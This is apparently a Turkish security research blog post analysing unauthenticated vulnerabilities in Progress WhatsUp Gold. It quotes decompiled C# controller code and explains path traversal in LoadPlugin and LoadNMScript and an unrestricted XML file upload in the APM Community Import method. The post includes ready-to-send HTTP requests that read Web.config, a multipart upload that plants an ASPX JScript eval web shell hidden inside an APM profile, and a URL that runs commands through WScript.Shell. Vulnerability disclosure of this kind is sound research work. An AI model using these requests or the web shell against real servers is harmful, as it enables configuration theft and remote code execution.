WhatsUp Gold Unauth Series

WhatsUp Gold Progress firmasi tarafindan gelistirilmis network monitoring aracidir, bu urunu incelemeye basladigimda buldugum aciklari bildirmek icin biraz gec kaldim, elimde sadece daha once yazdigim bu yazi kaldi, yaziyi da duzenleyip, detaylandirip paylasiyorum. Bu aciklardan bir kac tanesini SinSinology (blogu) summoning.team adli ve diger arastirmaci arkadaslar blog olarak yayinladi bende kendi buldugum kadariyla paylasmak istiyorum keyifli okumalar.

LOAD

Not: WhatsUp Gold’un eski surumu oldugu icin tekrar indiremedim eski exesi duruyormus fakat lisans problemi vs ile karsilastim bu yuzden yazimda eski oldugu icin bazi kodlar eksik.

WhatsUp Gold Extensions

WhatsUp Gold’da birden fazla extension defaultta kurulu gelmektedir 2023.1.1 - 2023.1.3’e kadar olan surumlerde bu eklentiler vardir (2023.1.3’de APM WUG eklentilerindeki aciklari fixlediler.) Agent,APM,Common,FlowMonitor,Wireless,WUG. (yanlis bilgi vermemek acisindan hatirladigim extensionlar bunlar)

Vuln Trace (WUG)

WhatsUp Gold WUG eklentisi admin islemleri, database baglantisi, error yonetimi vs… sorumlu eklentidir.

  1. SessionController LoadPlugin => LoadUsingBasePath => LoadPluginFromFile

SessionController kontrollerinde LoadPlugin methodu var LoadPlugin name,title,sParams adinda parametreler aliyor ve LoadUsingBasePath methoduna gonderiyor.


public ActionResult LoadPlugin(string name, string title = "", string sParams = "")
		{
			return this.LoadUsingBasePath("~/ux/plugins/", name, title, sParams, true); 
		}

private ContentResult LoadUsingBasePath(string inputBasePath, string name, string title = "", string sParams = "", bool useStickys = true)
		{
			IUserService service = DependencyResolverExtensions.GetService<IUserService>(DependencyResolver.Current);
			int num = service.GetCurrentUsersID() ?? (-1);
			int currentUsersLanguageID = service.GetCurrentUsersLanguageID();
			if (name.Length == 0)
			{
				return base.Content("alert('No name specified');", "text/javascript");
			}
			name = name.Replace("..", "");
			name = name.Replace(":", "");
			string text = base.Server.MapPath(inputBasePath + name); 
			if (sParams.Length == 0)
			{
				sParams = "{}";
			}
			Dictionary<string, string> dictionary = new Dictionary<string, string>();
			string text2 = this.LoadPluginFromFile(text, num, currentUsersLanguageID, dictionary);
			text2 = text2.Replace("(nm,{})", "(nm," + sParams + ")");
			text2 = text2.Replace("(nm, {})", "(nm," + sParams + ")");
			if (text2.Length == 0)
			{
				return base.Content(string.Concat(new string[] { "nm.AddPanel({title:'", title, "', closable:true, html: 'No plugin found for ", name, "'});" }), "text/javascript");
			}
			if (useStickys)
			{
				List<object> appStickys = this.GetAppStickys(num, name);
				if (appStickys.Count > 1)
				{
					string text3 = name.Replace(".js", "");
					string text4 = new JavaScriptSerializer().Serialize(appStickys);
					text2 = string.Concat(new string[] { "(function(nm){ nm.sticky.build('", text3, "', ", text4, "); })(nm);\n", text2 });
				}
			}
			return base.Content(text2, "text/javascript");
		}

LoadUsingBasePath methodunda dikkat etmemiz gereken iki tane replace kismi var .. ve : name parametresinden gelen verilerin icinde bu karakterler geciyorsa onlari siliyor sonra ~/ux/plugins/ + name Server.MapPath ile path yolunu olusturuyor en son LoadPluginFromFile methoduna gonderiyor. name parametresini direk Server.MapPath’e ataniyor Server.MapPath name parametresi ile gelen veriyi tam bir path’e cevirir problem burda baslar Server.MapPath verilen veriyi tam olarak bir pathe cevirecegi icin silinen karakterler yeterli olmamaktadir.

GET /NmConsole/Session/LoadPlugin?name=%5C...%3A%3A...%5C...%3A%3A...%5C...%3A%3A...%5CNM.UI\Web.config&title=asd HTTP/2
Host: 192.168.110.55:4431
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
Accept: application/json
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.110.55:4431/NmConsole/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

Call Trace LoadUsingBasePath

LoadUsingBasePath methodunun diger kullanildigi yerleri analiz ediyorum birden fazla kullanilan yer var, son olara LoadNMScript methodunu da gosterecegim

GET /NmConsole/Session/LoadNMScript?name=%5C...%3A%3A...%5C...%3A%3A...%5CNmConsole\web.config&title=asd HTTP/2
Host: 192.168.110.55:4431
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
Accept: application/json
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.110.55:4431/NmConsole/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

Vuln Trace (APM)

WhatsUp Gold’un Application Performance Monitoring (APM) eklentisi Exchange, Sql Server, Dynamics, DNS, IIS, Active Directory gibi kritik uygulamalarin performansini izlemekte gorevlidir.

  1. APM eklentisinin CommunityController kontrollerine bakalim.
public ActionResult Import(IEnumerable<HttpPostedFileBase> importFiles)
	{
		ActionResult actionResult;
		try
		{
			foreach (HttpPostedFileBase httpPostedFileBase in importFiles)
			{
				if (httpPostedFileBase.ContentType != "text/xml")
				{
					throw new Exception("File imports need to be xml content");
				}
				string empty = string.Empty;
				try
				{
					CommunityController._model.ImportProfileFromDisk(httpPostedFileBase, this._GetPublicKeyFileName(), out empty);
					if (string.Compare(httpPostedFileBase.FileName, "PublicKey.xml", true) != 0)
					{
						httpPostedFileBase.SaveAs(Path.Combine(base.Server.MapPath("~/Content/APM/Import"), httpPostedFileBase.FileName));
					}
				}
				catch (Exception ex)
				{
					string text = ex.Message;
					if (ex.InnerException != null && !string.IsNullOrWhiteSpace(ex.InnerException.Message))
					{
						text = text + Environment.NewLine + ex.InnerException.Message;
					}
					return base.Content(text);
				}
			}
			actionResult = base.Content(string.Empty);
		}
		catch (Exception ex2)
		{
			actionResult = base.Content(ex2.Message);
		}
		return actionResult;
	}

CommunityController’daki Import methoduna bakinca bizden post multipart/form-data ile bir ContentType text/xml olan bir dosya bekliyor ve ardindan ImportProfileFromDisk methoduna gonderiyor orada da (string.Compare(httpPostedFileBase.FileName, "PublicKey.xml", true) != 0) kismi bizim gonderdigimiz dosyanin isminin PublicKey.xml olup olmadigini kontrol ediyor eger dosya ismi PublicKey.xml ise 0 degeri dondurur ama degilse bir alttaki kosula gecer o kosul ise gonderdigimiz dosyanin uzantisini vs kontrol etmeden direk veriyi kayit eder. Burada veriyi gonderirken yapacagimiz tek sey gonderecegimiz xml verisinin APM yapisina uygun olmasi gerekiyor yanlis hatirlamiyorsam ' gibi karaterlere kiziyordu.

Buraya direk aspx shell yukleyemeyiz dedigim gibi xml yapisi APM’ye uygun olmali bu yuzden APM’ye uygun ayni zamanda xml yapisindaki CDATA (Character Data) icerisinde kullanacagiz. <script language="JScript" runat="server">function Page_Load(){eval(Request["p"],"unsafe");}</script> Request’den p parametresini bekliyor ve cok yaygin olarak bilinen eval ile calistiriyor ornek olarak ?p=Response.Write('test123') ile response’a test123 yazacaktir.

POST /NmConsole/Apm/Community/Import HTTP/2
Host: 192.168.110.55:4431
Content-Length: 3503
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycTcTButXxqGsU5GA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

------WebKitFormBoundarycTcTButXxqGsU5GA
Content-Disposition: form-data; name="importFiles"; filename="6.aspx"
Content-Type: text/xml

<?xml version="1.0"?>
<EntityAPMApplication xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Name>Active Directory Controller (2003)</Name>
  <Description><![CDATA[<script language="JScript" runat="server">function Page_Load(){eval(Request["p"],"unsafe");}</script>]]></Description>
  <ApplicationID>1</ApplicationID>
  <ApplicationType>
    <Name>Microsoft Active Directory</Name>
    <Description>Microsoft Active Directory</Description>
    <ApplicationTypeID>1034</ApplicationTypeID>
    <IconPath>microsoftad.png</IconPath>
  </ApplicationType>
  <ActionPolicyDefinitionID xsi:nil="true" />
  <Version>1.0</Version>
  <RequiredAPMVersion>1.0</RequiredAPMVersion>
  <UserDefined>false</UserDefined>
  <IsRemoved>false</IsRemoved>
  <UpgradeGUID>9e8c0fb1-d89c-42f9-bc0f-deee8314d713</UpgradeGUID>
  <StoredProfileID>1</StoredProfileID>
  <Components>
        <EntityAPMComponent>
      <Name>LDAP Bind Rate</Name>
      <Description>Monitors the number of LDAP binds per second.</Description>
      <ComponentID>32</ComponentID>
      <ApplicationID>1</ApplicationID>
      <ComponentType>
        <Name>WMI (Raw)</Name>
        <Description>WMI (Raw)</Description>
        <ApplicationTypeID>513</ApplicationTypeID>
        <IconPath>WMI.svg</IconPath>
      </ComponentType>
      <IsRemoved>false</IsRemoved>
      <Critical>false</Critical>
      <PollFrequencyMin>5</PollFrequencyMin>
      <Category>Wmi</Category>
      <GUID>3392abfe-cc36-47e1-9b53-bd1d2b9e060e</GUID>
      <RequiredCredentialType>8</RequiredCredentialType>
      <Discoverable>false</Discoverable>
      <UpgradeGUID>41371586-6866-4b4d-bca5-e90701775303</UpgradeGUID>
      <PerformanceThresholdConfig>
        <WarningValue>0</WarningValue>
        <WarningValueUnitOfMeasure>NONE</WarningValueUnitOfMeasure>
        <WarningComparator>LESS_THAN</WarningComparator>
        <WarningDurationEvalPeriod>10</WarningDurationEvalPeriod>
        <WarningDurationUnit>MINUTES</WarningDurationUnit>
        <DownValue>0</DownValue>
        <DownValueUnitOfMeasure>NONE</DownValueUnitOfMeasure>
        <DownComparator>LESS_THAN</DownComparator>
        <DownDurationEvalPeriod>20</DownDurationEvalPeriod>
        <DownDurationUnit>MINUTES</DownDurationUnit>
      </PerformanceThresholdConfig>
      <ConfigurationData>
        <EntityNameValuePairs>
          <Name>WMI:Counter-Displayname</Name>
          <Value>NTDS \ LDAP Successful Binds/sec</Value>
        </EntityNameValuePairs>
        <EntityNameValuePairs>
          <Name>WMI:Counter-InstanceName</Name>
          <Value>NULL</Value>
        </EntityNameValuePairs>
        <EntityNameValuePairs>
          <Name>asdWMI:Counter-PropertyName</Name>
          <Value>LDAPSuccessfulBindsPersec</Value>
        </EntityNameValuePairs>
        <EntityNameValuePairs>
          <Name>WMI:Counter-RelativePath</Name>
          <Value>Win32_PerfRawData_NTDS_NTDS</Value>
        </EntityNameValuePairs>
        <EntityNameValuePairs>
          <Name>WMI:Counter-Timeout</Name>
          <Value>2000</Value>
        </EntityNameValuePairs>
      </ConfigurationData>
    </EntityAPMComponent>
  </Components>
  <Groups />
  <Attributes />
</EntityAPMApplication>
------WebKitFormBoundarycTcTButXxqGsU5GA--

Exploit7 Bolumu

https://192.168.110.55:4431/NmConsole/Content/Apm/Import/6.aspx?p=new%20ActiveXObject("WScript.Shell").Exec("calc.exe")

CALC

Devami gelecektir… last